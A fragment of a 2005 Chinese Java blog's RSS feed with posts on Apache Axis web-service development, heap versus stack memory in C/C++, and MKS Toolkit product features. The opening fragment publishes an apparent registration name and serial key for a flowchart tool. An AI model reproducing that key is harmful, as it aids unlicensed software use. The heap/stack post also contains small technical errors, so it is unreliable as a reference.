读取源代码，直接生成程序的流程图。让你更快的了解程序逻辑结构。 <BR>name:www.chinaz.com<BR>sn:BhqExL7Tec7sL38asx1swJQ7irEOIRgYkttS0OBZP7nwyZQ7fdgRUv6C3LqTZ51Y <img src ="http://www.blogjava.net/kapok/aggbug/10047.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/kapok/" target="_blank">笨笨</a> 2005-08-13 20:00 <a href="http://www.blogjava.net/kapok/archive/2005/08/13/10047.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>AXIS开发Web Service</title><link>http://www.blogjava.net/kapok/archive/2005/08/12/9991.html</link><dc:creator>笨笨</dc:creator><author>笨笨</author><pubDate>Fri, 12 Aug 2005 14:46:00 GMT</pubDate><guid>http://www.blogjava.net/kapok/archive/2005/08/12/9991.html</guid><wfw:comment>http://www.blogjava.net/kapok/comments/9991.html</wfw:comment><comments>http://www.blogjava.net/kapok/archive/2005/08/12/9991.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/kapok/comments/commentRss/9991.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/kapok/services/trackbacks/9991.html</trackback:ping><description><![CDATA[<SPAN class=javascript id=text151014><A href="http://www.cjsdn.net/post/view?bid=5&amp;id=151014&amp;sty=1&amp;tpg=1&amp;age=0">http://www.cjsdn.net/post/view?bid=5&amp;id=151014&amp;sty=1&amp;tpg=1&amp;age=0</A><BR><BR>这篇比较早，放在自己的blog里，顺便贴过来，让版本看看，是否可以加分。<BR>Apache Axis开发WEB Service简要说明(1)- -<BR><BR><BR><BR>1 介绍<BR><BR>本文并不是想介绍Web服务的原理、系统架构等，我们假设您已经了解了关于Web服务的一些基本的概念、原理等知识。本文主要是针对那些已经了解Web服务概念，但是还没有亲身体会Web服务所带来令人欢欣鼓舞的特征的开发人员。在此我们认为你已经具备了Java、XML等基础知识，如果你还有其他开发环境的经验例如VB、VC那是再好不过的了。<BR>1.1 Web服务<BR><BR>虽然我们并不想详细讲述Web服务的体系结构，但是大概的介绍一下还是有必要的。Web服务是一种新型的Web应用程序。不同于其他Web应用程序，它是自适应、自我描述、模块化的应用程序，并可以跨越Web进行发布、定位以及调用。简单的Web服务可以提供例如天气预报或者航班信息的服务。一旦部署了Web服务，其他的应用程序就可以发现和调用所部署的服务。<BR>1.2 AXIS项目<BR><BR>Axis框架来自 Apache 开放源代码组织，它是基于JAVA语言的最新的 SOAP 规范（SOAP 1.2）和 SOAP with Attachments 规范（来自 Apache Group ）的开放源代码实现。有很多流行的开发工具都使用AXIS作为其实现支持Web服务的功能，例如JBuilder以及著名的Eclipse J2EE插件Lomboz。AXIS的最新版本是1.1，可以从http://ws.apache.org/axis/index.html下载。下图是AXIS核心引擎的体系结构图：<BR><BR>整个AXIS项目包括以下几个部分：<BR><BR>1. 消息流子系统<BR><BR>消息流子系统提供了灵活的消息传递框架，这个消息传递框架包括处理程序、链、序列化程序和反序列化程序。处理程序是一个处理请求、响应和故障流的对象。处理程序可被组合在一起成为链，而且可以使用一个灵活的部署描述符来配置这些处理程序的顺序。<BR><BR>2. 传输框架子系统<BR><BR>提供了一个传输框架，这个传输框架可以帮助您创建自己的可插式传输发送器和传输侦听器。<BR><BR>3. 数据编码子系统<BR><BR>AXIS完全按照 XML Schema 规范提供各种数据类型的自动序列化，并且提供功能扩展接口来使用您自己定制的序列化器和反序列化器。<BR><BR>4. 其他<BR><BR>AXIS完全支持 WSDL 以及日志记录、出错以及故障处理机制。它同时提供一些工具用来讲WSDL文档转换成客户端的调用框架以及根据类来产生WSDL定义文档。<BR><BR>AXIS目前版本支持的标准是：W3C SOAP 1.1 和 1.2；WSDL 1.1；SAAJ 1.1（SUN公司：SOAP with Attachments API for Java）；JAX-RPC（SUN公司：Java API for XML-Based RPC）1.0。<BR>2 Axis使用<BR>2.1 Axis运行需要哪些jar文件<BR><BR>对Axis解包后，将axis-1_1/webapps/axis/WEB-INF/lib/目录下的jar文件复制到/usr/local/apache/htdocs/WEB-INF/lib目录下(Web应用程序的目录)。应包括以下jar文件。<BR><BR>axis-ant.jar<BR><BR>axis.jar<BR><BR>commons-discovery.jar<BR><BR>commons-logging.jar<BR><BR>jaxrpc.jar<BR><BR>log4j-1.2.8.jar<BR><BR>saaj.jar<BR><BR>wsdl4j.jar<BR>2.2 Axis使用注意事项<BR>2.2.1 获取WSDL文件<BR><BR>Axis支持用户通过网络方式，从已发布WEB服务的机器上获取WEB服务描述文件WSDL。用户只需简单在IE地址栏输入如下格式访问链接即可：<BR><BR><A class=ilink href="http://webappip[/webapp]/services/WebServiceName?wsdl" target=_blank>http://webappIp[/webapp]/services/WebServiceName?wsdl</A><BR><BR>其中：<BR><BR>webAppIp：运行WEB服务机器的地址。<BR><BR>[/webapp]：运行Axis WEB服务的Web应用名；如果应用使用跟目录，则不需要<BR><BR>services/WebServiceName：WEB服务定位路径，类似Servlet路径；其中WebServiceName为定义的Web服务接口名称。<BR><BR>用户将访问获的文件直接保存，即可获取对应WEB服务的WSDL描述文件。<BR>2.2.2 参数类型定义（输入、输出参数）<BR><BR>如果用户希望使用函数定义中的输出参数获取响应结果时，自动生成的WSDL文件无法满足，必须手动对自动生成的WSDL文件进行修改。<BR><BR>如定义java Interface接口如下：<BR><BR>int queryUser（long type，User[] users） ;<BR><BR>则使用java2WSDL生成的WSDL如下：<BR><BR>为了将User[]作为输出参数，必须修改自动生成的WSDL文件，在QueryUserResponse返回消息中，添加User[]参数定义，告知Axis在WSDL2java处理中，将User[]作为输入/输出参数处理。<BR><BR>2.2.3 server-config.wsdd<BR><BR>Axis会在WEB应用程序的WEB-INF/目录下自动生成一个名字为server-config.wsdd的xml文件，其中记录了已部署的WEB服务。每部署一个新的WEB服务时，Axis都会将新服务的描述信息加入到server-config.wsdd中。<BR><BR>如果需要在Web服务器启动时，自动加载WEB服务，只需将server-config.wsdd与WEB应用描述文件web.xml一并放置在WEB-INF目录下即可。<BR><BR>server-config.wsdd中的内容可以手工更改获取，也可通过发布获取自动生成的文件。<BR><BR>a) 将WEB服务发布后，从WEB应用的WEB-INF目录下，获取自动生成的server-config.wsdd文件。<BR><BR>b) 手工更改时，将deploy.wsdd文件中的…中的内容直接拷贝，粘贴到原始server-config.wsdd文件中单独行即可。<BR>2.2.4 如何将Axis集成到自己的Web应用中。<BR><BR>Axis是以Servlet的方式运行的，而Tomcat的作用相当于Servlets容器(Container)，因此只要配置得当，就可以使Axis在Tomcat环境中运行，这一点也适用于Tomcat以外的其它应用服务器。在Tomcat中配置Axis的方法如下。<BR><BR>将axis-1_1/webapps/axis/WEB-INF/web.xml中的Servlet配置项复制到自己Web应用描述文件web.xml中对应位置上。通常应包括以下内容。<BR><BR>在Servlet定义与servlet-mapping定义间，将本WEB应用的Servlet定义加入。<BR><BR>AxisServlet<BR><BR>Apache-Axis Servlet<BR><BR>org.apache.axis.transport.http.AxisServlet<BR><BR>AdminServlet<BR><BR>Axis Admin Servlet<BR><BR>org.apache.axis.transport.http.AdminServlet<BR><BR>100<BR><BR>SOAPMonitorService<BR><BR>SOAPMonitorService<BR><BR>org.apache.axis.monitor.SOAPMonitorService<BR><BR>SOAPMonitorPort<BR><BR>5001<BR><BR>100<BR><BR>AxisServlet<BR><BR>/axis/servlet/AxisServlet<BR><BR>AxisServlet<BR><BR>*.jws<BR><BR>AxisServlet<BR><BR>/services/*<BR><BR>SOAPMonitorService<BR><BR>/SOAPMonitor<BR><BR>wsdl<BR><BR>text/xml<BR><BR>xsd<BR><BR>text/xml<BR><BR>2.2.5 Axis提供了哪些开发工具<BR><BR>Apache Axis提供了WSDL2Java和Java2WSDL两个开发工具。<BR><BR>WSDL2Java利用已知的WSDL文件生成服务端和客户端代码。该WSDL文件可以是由合作伙伴提供的，也可以是利用Java2WSDL生成的。Java2WSDL根据已有的Java类文件生成WSDL文件，Java类文件可以是接口类文件，并不需要实现细节。<BR><BR>此外Axis还提供了SoapMonitorApplet和TCPMon工具，可用于监测Web服务。<BR><BR><BR><BR>1 如何开发Web服务的服务端和客户端代码<BR>1.1 生成或取得WSDL文件<BR><BR>Java2WSDL是Axis提供的利用Java类文件得到WSDL文件的工具。类文件可以使用接口文件编译生成。<BR><BR>生成WSDL文件以后，就可以利用Axis提供的WSDL2Java工具生成Web服务的服务端代码和客户端代码了<BR><BR>注意事项 ：<BR><BR>WSDL文件也可以由合作伙伴提供。这种情况下合作伙伴往往是Web服务的提供者或标准接口的制定者，开发者只要按照既定的WSDL文从件生成客户端或服务端代码就可以了。<BR><BR>1.2 开发客户端<BR><BR>在开发客户端时，WEB接口定义文件WSDL一般已经提供，或者可以通过Internat获取。如果未提供一般也提供了接口描述文档，详细描述了接口输入、输出参数定义，据此我们可以声明Interface接口，通过Aixs提供的java2WSDL生成WSDL文件。<BR><BR>下面我们假定WSDL文件已经提供；并且我们假定读者对eclipse、ant已经有一定了解。<BR><BR>WSDL2Java工具用于从WSDL文件生成客户端存根（stub）代码，服务端框架（skeleton）代码以及WSDL中的数据类型文件(生成与之对应的Java代码)。开发人员只需向框架代码中补充相关的业务逻辑代码即可得到完整的Web服务代码，因此该工具极大地减轻了开发人员的编码负担。<BR><BR>axis_ant.jar包中已经定义了Axis集成Ant的相关Ant任务定义。任务定义在axis-tasks.properties中<BR><BR>#properties file for taskdefing the public Axis taskdefs<BR><BR>axis-wsdl2java=org.apache.axis.tools.ant.wsdl.Wsdl2javaAntTask<BR><BR>axis-java2wsdl=org.apache.axis.tools.ant.wsdl.Java2WsdlAntTask<BR><BR>axis-admin=org.apache.axis.tools.ant.axis.AdminClientTask<BR><BR>Ant任务名<BR>&nbsp;&nbsp;<BR><BR>对应Axis提供的工具<BR>&nbsp;&nbsp;<BR><BR>备注<BR><BR>axis-wsdl2java<BR>&nbsp;&nbsp;<BR><BR>WSDL2java<BR>&nbsp;&nbsp;<BR><BR>axis-java2wsdl<BR>&nbsp;&nbsp;<BR><BR>Java2WSDL<BR>&nbsp;&nbsp;<BR><BR>axis-admin<BR>&nbsp;&nbsp;<BR><BR>AdminClient<BR>&nbsp;&nbsp;<BR><BR>1. 假定应用工程目录结构如下：<BR><BR>│ build.properties<BR><BR>│ build.xml<BR><BR>│ myAxis.wsdl<BR><BR>├─bin<BR><BR>└─src<BR><BR>2. build.properties文件内容如下：<BR><BR>axis.home = D:\\java\\axis\\axis-1_2beta<BR><BR>wsdl.file = myAxis.wsdl<BR><BR>namespace.service = urn:MyAxis<BR><BR>package.service = com.MyAxis.client<BR><BR>3. Ant文件build.xml内容如下：<BR><BR>定义Axis包所在类路径--&gt;<BR><BR>从axis-ant.jar包中，引入Axis的Ant任务定义--&gt;<BR><BR>classpathref="axis.classpath" /&gt;<BR><BR>依据WSDL文件，生成客户端代码--&gt;<BR><BR>url="${basedir}/${wsdl.file}"<BR><BR>deployscope="Request"<BR><BR>output="${generated.path.src}"<BR><BR>serverside="false"<BR><BR>skeletondeploy="false"<BR><BR>testcase="true"<BR><BR>noimports="false"<BR><BR>&gt;<BR><BR>1.1 开发服务端<BR><BR>开发服务端程序的一般步骤如下：<BR><BR>l 根据接口定义，定义java Interface接口。<BR><BR>l 根据interface接口文件，使用java2WSDL生成WEB服务描述文件<BR><BR>l 根据WSDL文件，使用WSDL2java生成对应的服务端代码<BR><BR>l 修改自动生成的实现代码类[webapp]SoapBindingImpl.java，完成接口具体操作。<BR><BR>l 考虑到WEB服务为系统对外门户，具体业务逻辑可能分模块实现，建议考虑参考门面模式完成interface定义；在服务端具体实现时，WEB服务接口部分向逻辑提供接口，由逻辑实现组件完成具体的逻辑操作。WEB服务部分仅完成SOAP协议解封装等工作。<BR><BR>1. 假定工程路径如下：<BR><BR>├─conf<BR><BR>├─generated<BR><BR>├─source<BR><BR>├─src<BR><BR>└─WebRoot<BR><BR>├─META-INF<BR><BR>└─WEB-INF<BR><BR>└─lib<BR><BR>2. build.properties Ant脚本使用属性<BR><BR>wsdl.file = myAxis.wsdl<BR><BR>########接口文件com.myaxis.MyAxis.java；供java2WSDL使用#####<BR><BR>wsi.interface = com.myaxis.MyAxis<BR><BR>location = <A class=ilink href="http://localhost/CmsWsi/services/CmsWsi" target=_blank>http://localhost/CmsWsi/services/CmsWsi</A><BR><BR>########期望生成的接口定义包与命名空间对应关系；供WSDL2java使用###<BR><BR>namespace.service = <A class=ilink href="http://com./" target=_blank>http://com.</A> myaxis.MyAxis/1.00<BR><BR>package.service = com.myaxis.server<BR><BR>########期望生成的接口相关消息类与命名空间对应关系；供WSDL2java使用###<BR><BR>namespace.service.msg = <A class=ilink href="http://com.myaxis.msg/" target=_blank>http://com.myaxis.msg</A><BR><BR>package.service.msg = com.myaxis.server.msg<BR><BR>########WEB容器定义，共AdminClient发布、注销WEB服务使用###<BR><BR>target.port = 80<BR><BR>target.server = localhost<BR><BR>target.appname = MyAxis<BR><BR>servletpath.admin = services/AdminService<BR><BR>########在ANT脚本中采用命令行方式时，发布调用的AdminClient位置##<BR><BR>location.admin = <A class=ilink href="http://localhost/MyAxis/services/AdminService" target=_blank>http://localhost/MyAxis/services/AdminService</A><BR><BR>3. build.xml<BR><BR>加载build.propertis定义--&gt;<BR><BR>容器下的类路径，Axis相关jar已拷贝到对应目录下--&gt;<BR><BR>引入Axis的Ant任务定义--&gt;<BR><BR>classpathref="axis.classpath" /&gt;<BR><BR>初试化，构造WSDL2java生成代码路径，--&gt;<BR><BR>依据java Interface定义，生成WSDL定义文件--&gt;<BR><BR>location="${location}"<BR><BR>namespace="${namespace.service}"<BR><BR>output="${generated.path}/${wsdl.file}"<BR><BR>style="RPC"<BR><BR>&gt;<BR><BR>根据WSDL文件，生成WEB服务的服务器端源码；考虑到接口更改，版本管理的方便，生成代码不直接导向src目录；第一次运行后，需要手工将代码拷贝到src；每次修改接口后，必须清空生成源目录，通过比较工具修改src目录下的源文件，否则Axis判断[webapp]SoapBindingImpl.java已存在不会进行更新。--&gt;<BR><BR>url="${basedir}/${wsdl.file}"<BR><BR>deployscope="Request"<BR><BR>output="${generated.path.src}"<BR><BR>serverside="true"<BR><BR>skeletondeploy="false"<BR><BR>testcase="true"<BR><BR>noimports="false"<BR><BR>&gt;<BR><BR>拷贝Web服务发布、注销脚本，deploy.wsdd和undeploy.wsdd--&gt;<BR><BR>发布WEB服务到WEB容器，Axis在WEB-INF/下自动生成server-config.wsdd--&gt;<BR><BR>脚本方式发布服务--&gt;<BR><BR>命令行方式发布服务--&gt;<BR><BR>fork="true"<BR><BR>failonerror="true"&gt; </SPAN><BR><BR><img src ="http://www.blogjava.net/kapok/aggbug/9991.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/kapok/" target="_blank">笨笨</a> 2005-08-12 22:46 <a href="http://www.blogjava.net/kapok/archive/2005/08/12/9991.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Heap and Stack</title><link>http://www.blogjava.net/kapok/archive/2005/08/12/9933.html</link><dc:creator>笨笨</dc:creator><author>笨笨</author><pubDate>Fri, 12 Aug 2005 06:19:00 GMT</pubDate><guid>http://www.blogjava.net/kapok/archive/2005/08/12/9933.html</guid><wfw:comment>http://www.blogjava.net/kapok/comments/9933.html</wfw:comment><comments>http://www.blogjava.net/kapok/archive/2005/08/12/9933.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/kapok/comments/commentRss/9933.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/kapok/services/trackbacks/9933.html</trackback:ping><description><![CDATA[<A href="http://chinaunix.net/jh/23/477573.html">http://chinaunix.net/jh/23/477573.html</A><BR>一、预备知识—程序的内存分配 <BR>一个由c/C++编译的程序占用的内存分为以下几个部分 <BR>1、栈区（stack）—&nbsp;由编译器自动分配释放&nbsp;，存放函数的参数值，局部变量的值等。其操作方式类似于数据结构中的栈。 <BR>2、堆区（heap）&nbsp;—&nbsp;一般由程序员分配释放，&nbsp;若程序员不释放，程序结束时可能由OS回收&nbsp;。注意它与数据结构中的堆是两回事，分配方式倒是类似于链表，呵呵。 <BR>3、全局区（静态区）（static）—，全局变量和静态变量的存储是放在一块的，初始化的全局变量和静态变量在一块区域，&nbsp;未初始化的全局变量和未初始化的静态变量在相邻的另一块区域。&nbsp;-&nbsp;程序结束后有系统释放 <BR>4、文字常量区&nbsp;—常量字符串就是放在这里的。&nbsp;程序结束后由系统释放 <BR>5、程序代码区—存放函数体的二进制代码。 <BR><BR>二、例子程序 <BR>这是一个前辈写的，非常详细 <BR>//main.cpp <BR>int&nbsp;a&nbsp;=&nbsp;0;&nbsp;全局初始化区 <BR>char&nbsp;*p1;&nbsp;全局未初始化区 <BR>main() <BR>{ <BR>int&nbsp;b;&nbsp;栈 <BR>char&nbsp;s[]&nbsp;=&nbsp;"abc";&nbsp;栈 <BR>char&nbsp;*p2;&nbsp;栈 <BR>char&nbsp;*p3&nbsp;=&nbsp;"123456";&nbsp;123456\0在常量区，p3在栈上。 <BR>static&nbsp;int&nbsp;c&nbsp;=0；&nbsp;全局（静态）初始化区 <BR>p1&nbsp;=&nbsp;(char&nbsp;*)malloc(10); <BR>p2&nbsp;=&nbsp;(char&nbsp;*)malloc(20); <BR>分配得来得10和20字节的区域就在堆区。 <BR>strcpy(p1,&nbsp;"123456");&nbsp;123456\0放在常量区，编译器可能会将它与p3所指向的"123456"优化成一个地方。 <BR>}&nbsp; <BR>二、堆和栈的理论知识 <BR>2.1申请方式 <BR>stack: <BR>由系统自动分配。&nbsp;例如，声明在函数中一个局部变量&nbsp;int&nbsp;b;&nbsp;系统自动在栈中为b开辟空间 <BR>heap: <BR>需要程序员自己申请，并指明大小，在c中malloc函数 <BR>如p1&nbsp;=&nbsp;(char&nbsp;*)malloc(10); <BR>在C++中用new运算符 <BR>如p2&nbsp;=&nbsp;(char&nbsp;*)malloc(10); <BR>但是注意p1、p2本身是在栈中的。 <BR>2.2 <BR>申请后系统的响应 <BR>栈：只要栈的剩余空间大于所申请空间，系统将为程序提供内存，否则将报异常提示栈溢出。 <BR>堆：首先应该知道操作系统有一个记录空闲内存地址的链表，当系统收到程序的申请时， <BR>会遍历该链表，寻找第一个空间大于所申请空间的堆结点，然后将该结点从空闲结点链表中删除，并将该结点的空间分配给程序，另外，对于大多数系统，会在这块内存空间中的首地址处记录本次分配的大小，这样，代码中的delete语句才能正确的释放本内存空间。另外，由于找到的堆结点的大小不一定正好等于申请的大小，系统会自动的将多余的那部分重新放入空闲链表中。 <BR>2.3申请大小的限制 <BR>栈：在Windows下,栈是向低地址扩展的数据结构，是一块连续的内存的区域。这句话的意思是栈顶的地址和栈的最大容量是系统预先规定好的，在&nbsp;WINDOWS下，栈的大小是2M（也有的说是1M，总之是一个编译时就确定的常数），如果申请的空间超过栈的剩余空间时，将提示overflow。因此，能从栈获得的空间较小。 <BR>堆：堆是向高地址扩展的数据结构，是不连续的内存区域。这是由于系统是用链表来存储的空闲内存地址的，自然是不连续的，而链表的遍历方向是由低地址向高地址。堆的大小受限于计算机系统中有效的虚拟内存。由此可见，堆获得的空间比较灵活，也比较大。 <BR>2.4申请效率的比较： <BR>栈由系统自动分配，速度较快。但程序员是无法控制的。 <BR>堆是由new分配的内存，一般速度比较慢，而且容易产生内存碎片,不过用起来最方便. <BR>另外，在WINDOWS下，最好的方式是用VirtualAlloc分配内存，他不是在堆，也不是在栈是直接在进程的地址空间中保留一快内存，虽然用起来最不方便。但是速度快，也最灵活 <BR>2.5堆和栈中的存储内容 <BR>栈：&nbsp;在函数调用时，第一个进栈的是主函数中后的下一条指令（函数调用语句的下一条可执行语句）的地址，然后是函数的各个参数，在大多数的C编译器中，参数是由右往左入栈的，然后是函数中的局部变量。注意静态变量是不入栈的。 <BR>当本次函数调用结束后，局部变量先出栈，然后是参数，最后栈顶指针指向最开始存的地址，也就是主函数中的下一条指令，程序由该点继续运行。 <BR>堆：一般是在堆的头部用一个字节存放堆的大小。堆中的具体内容有程序员安排。 <BR>2.6存取效率的比较 <BR><BR>char&nbsp;s1[]&nbsp;=&nbsp;"aaaaaaaaaaaaaaa"; <BR>char&nbsp;*s2&nbsp;=&nbsp;"bbbbbbbbbbbbbbbbb"; <BR>aaaaaaaaaaa是在运行时刻赋值的； <BR>而bbbbbbbbbbb是在编译时就确定的； <BR>但是，在以后的存取中，在栈上的数组比指针所指向的字符串(例如堆)快。 <BR>比如： <BR>#include&nbsp;&lt;stdio.h&gt; <BR>void&nbsp;main() <BR>{ <BR>char&nbsp;a&nbsp;=&nbsp;1; <BR>char&nbsp;c[]&nbsp;=&nbsp;"1234567890"; <BR>char&nbsp;*p&nbsp;="1234567890"; <BR>a&nbsp;=&nbsp;c[1]; <BR>a&nbsp;=&nbsp;p[1]; <BR>return; <BR>} <BR>对应的汇编代码 <BR>10:&nbsp;a&nbsp;=&nbsp;c[1]; <BR>00401067&nbsp;8A&nbsp;4D&nbsp;F1&nbsp;mov&nbsp;cl,byte&nbsp;ptr&nbsp;[ebp-0Fh] <BR>0040106A&nbsp;88&nbsp;4D&nbsp;FC&nbsp;mov&nbsp;byte&nbsp;ptr&nbsp;[ebp-4],cl <BR>11:&nbsp;a&nbsp;=&nbsp;p[1]; <BR>0040106D&nbsp;8B&nbsp;55&nbsp;EC&nbsp;mov&nbsp;edx,dword&nbsp;ptr&nbsp;[ebp-14h] <BR>00401070&nbsp;8A&nbsp;42&nbsp;01&nbsp;mov&nbsp;al,byte&nbsp;ptr&nbsp;[edx+1] <BR>00401073&nbsp;88&nbsp;45&nbsp;FC&nbsp;mov&nbsp;byte&nbsp;ptr&nbsp;[ebp-4],al <BR>第一种在读取时直接就把字符串中的元素读到寄存器cl中，而第二种则要先把指针值读到edx中，在根据edx读取字符，显然慢了。 <BR>?&nbsp; <BR><BR>2.7小结： <BR>堆和栈的区别可以用如下的比喻来看出： <BR>使用栈就象我们去饭馆里吃饭，只管点菜（发出申请）、付钱、和吃（使用），吃饱了就走，不必理会切菜、洗菜等准备工作和洗碗、刷锅等扫尾工作，他的好处是快捷，但是自由度小。 <BR>使用堆就象是自己动手做喜欢吃的菜肴，比较麻烦，但是比较符合自己的口味，而且自由度大。 <BR><BR>堆和栈的区别主要分： <BR>操作系统方面的堆和栈，如上面说的那些，不多说了。 <BR>还有就是数据结构方面的堆和栈，这些都是不同的概念。这里的堆实际上指的就是（满足堆性质的）优先队列的一种数据结构，第1个元素有最高的优先权；栈实际上就是满足先进后出的性质的数学或数据结构。 <BR>虽然堆栈，堆栈的说法是连起来叫，但是他们还是有很大区别的，连着叫只是由于历史的原因。<BR><img src ="http://www.blogjava.net/kapok/aggbug/9933.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/kapok/" target="_blank">笨笨</a> 2005-08-12 14:19 <a href="http://www.blogjava.net/kapok/archive/2005/08/12/9933.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>MKS Toolkit</title><link>http://www.blogjava.net/kapok/archive/2005/08/12/9871.html</link><dc:creator>笨笨</dc:creator><author>笨笨</author><pubDate>Fri, 12 Aug 2005 01:19:00 GMT</pubDate><guid>http://www.blogjava.net/kapok/archive/2005/08/12/9871.html</guid><wfw:comment>http://www.blogjava.net/kapok/comments/9871.html</wfw:comment><comments>http://www.blogjava.net/kapok/archive/2005/08/12/9871.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/kapok/comments/commentRss/9871.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/kapok/services/trackbacks/9871.html</trackback:ping><description><![CDATA[<A href="http://www.softwarechn.com/mks/mks_index.htm">http://www.softwarechn.com/mks/mks_index.htm</A><BR><BR><STRONG><FONT size=2><FONT color=#cc6600>MKS Toolkit</FONT> </FONT></STRONG>
<P>MKS Inc. (MKS) (TSE:MKX)发布其Windows和UNIX/Linux跨平台工具箱9.0版本，新版本显著提高了32位和64位Windows操作系统的生产力，并对世界通用的multibyte/Unicode字符集提供本地支持。</P>
<P>当用户在32位和64位Windows环境下执行开发、测试和系统管理任务时，MKS Toolkit 9.0可以明显提高其生产力。通过将流行的 Vi编辑器同最常用、最强大的Windows开发环境Microsoft Visual Studio相集成，MKS为跨平台开发提供了一个强强联合、无与匹敌的解决方案。</P>
<P><STRONG>MKS Toolkit 9.0新特性</STRONG><BR><BR><STRONG>多字节字符支持：</STRONG>MKS工具和API支持那些包含在文件内容、文件和目录名、管道、环境变量、控制台显示屏等内部的multibyte/Unicode字符，这样，用户就可以利用非ASCII格式对文件和数据进行显示、加载、编辑、查找及其他操作了。<BR><BR><STRONG>Vi/Viw同VisualStudio.NET的集成：</STRONG>含有新的Visual Studio Viw插件特性，用户可以更加有效的在其开发环境中进行工作。同时，借助于Vi 和 Viw的语法突出新特性，用户可以使用自定义规则对命令、保留字、注释等进行加强。<BR><BR><STRONG>安全、可视化的文件操作：</STRONG>对该强大图形化工具的新改进，您可以在远程UNIX、Linux和Windows系统之间安全的拖放多个文件和目录、编辑和处理文件权限、复制大型文件和文件集合等。<BR><BR><STRONG>Perl更新：</STRONG>利用多种新特性对Perl进行更新，现在包括32位和64位可执行文件、fork()函数以及多线程功能等。<BR><BR><STRONG>新应用：</STRONG>新的mksrv允许您将任何标准脚本或程序设置为一个Windows服务来运行；pwrmgr可以用于显示和管理电源使用方案；ShellExecute可以将任何文件作为可执行文件来启动；另外，还针对实际的企业问题新增了一系列灵活有效的解决工具。<BR><BR><STRONG>API增强：</STRONG>由SUSv3和POSIX.4定义的附加API有力补充了工具箱中现有的对实时UNIX程序移植的支持，而所有重要的API中均带有IPv6支持，再加上大量新增的API，同Internet新命名标准实现了很好的交互性。<BR></P>
<P><B><FONT size=2><FONT color=#cc6600>MKS Toolkit for Developers 9.0</FONT></FONT></B></P>
<P><BR>MKS Toolkit for Developers是工业领先的Windows/UNIX交互方案，显著提高了Windows和UNIX工作环境的兼容性。</P>
<P>MKS Toolkit for Developers提供了一套完全的UNIX和Windows工具集，开发人员和系统管理人员能够对其软件开发和系统管理过程进行定制和控制，并使之自动化。</P>
<P>MKS Toolkit for Developers能够自动完成那些繁琐的手动任务，加速了软件的开发和系统管理过程，减少了错误概率。</P>
<P>强大的脚本：允许您将重复性任务简化或使之自动化。<BR>集成新技术：使您轻松的控制并操纵当今动态结构。<BR>基于组件的结构体系：轻松定制一个方案，使之适应您的企业需求。</P>
<P><BR><STRONG>特性和优势</STRONG>：</P>
<P><STRONG>用于Windows 的450多种UNIX工具</STRONG><BR>——增强了开发人员和系统管理人员培训和经验的已有投资；<BR>——为UNIX和Windows系统提供了单一的构建环境。</P>
<P><STRONG>70多种Windows专用工具</STRONG><BR>——轻松添加和处理用户和用户组帐号；<BR>——处理Windows注册表和Windows专门文件许可权；<BR>——控制Windows服务程序；<BR>——复制系统文件子目录。</P>
<P><STRONG>自动化处理</STRONG><BR>——将常规程序和进程自动化，提高了开发人员和系统管理人员的工作效率；<BR>——减少了由于重复性的手动操作带来的错误。</P>
<P><STRONG>64位Windows支持</STRONG><BR>——轻松将系统和工具移植到下一代Windows操作系统。</P>
<P><STRONG>强大的Command Shell</STRONG><BR>——您可以优先选择Korn (ksh), POSIX (sh), Bash (bash), tclsh，并以此取代Windows Command Shell，从而提供更多的灵活性和功能性，增强了您的控制能力。</P>
<P><STRONG>本地Windows结构体系</STRONG><BR>——同Win32完全集成并交互作用；<BR>——控制并操作Windows进程和应用程序。</P>
<P><STRONG>完全的互连套件</STRONG><BR>——安全连接到远程UNIX和Windows系统；<BR>——在多个地点实现资源共享；<BR>——包含单机版本和数目无限的互连版本。</P>
<P><STRONG>系统备份和磁带处理套件</STRONG><BR>——快速执行UNIX兼容的完全或累加式系统备份。</P>
<P><STRONG>自动通信</STRONG><BR>——将email、Web或网络消息通知集成到您的程序中，并使之自动化，增强了通信能力。</P>
<P></P>
<P><A name=2></A><FONT size=2><B><FONT color=#cc6600>MKS Toolkit for Enterprise Developers 9.0</FONT></B></FONT></P>
<P>MKS Toolkit for Enterprise Developers（以前的NuTCRACKER）能够将UNIX程序移植到Windows系统中。</P>
<P>MKS Toolkit for Enterprise Developers含有2700多种UNIX API和一个完全的命令行开发环境，是UNIX程序向Windows平台移植的最终方案。该产品提供对C, C++, Fortran的完全支持；还支持UNIX进程管理，包括fork（），信号，警告和线程；支持文件系统和安全管理；支持curse，X，Motif和OpenGL。另外，为了实现Windows集成和交互能力，还提供了无与伦比的Win32 API访问功能。</P>
<P>——充分利用了COM, .NET和其他Windows特色，像运行本地Windows程序一样运行UNIX程序。<BR>——一个单源库（source base），支持UNIX和Windows平台。<BR>——缩短了70%, 80%甚至90%的开发时间。<BR>——含有内置的打包向导和UNIX运行时选项，能够轻松部署植入程序。</P>
<P><BR><STRONG>特性和优势：</STRONG></P>
<P><STRONG>2700多种UNIX API</STRONG><BR>——为UNIX和Windows提供了一个单源库。<BR>——显著缩短了Windows产品的开发时间。<BR>——缩短了投入市场的时间。</P>
<P><STRONG>本地Windows结构体系</STRONG><BR>——同本地Win32（以及Win64）程序完全集成，并具有交互性。<BR>——将已有的业务逻辑组件化。<BR>——将程序转向Windows技术。</P>
<P><STRONG>灵活的编译器支持</STRONG><BR>——为UNIX/Linux程序导入Windows平台选择编译器，包括Microsoft, Intel 或GNU编译器。</P>
<P><STRONG>NuTCRACKER Workstation/Server 和运行时组件</STRONG><BR>——如同运行本地程序那样运行导入的UNIX程序。</P>
<P><STRONG>程序部署向导</STRONG><BR>——确保导入的程序中含有所有必须组件。<BR>——利用内置的打包向导和多种UNIX运行时选项轻松部署植入的UNIX程序。</P>
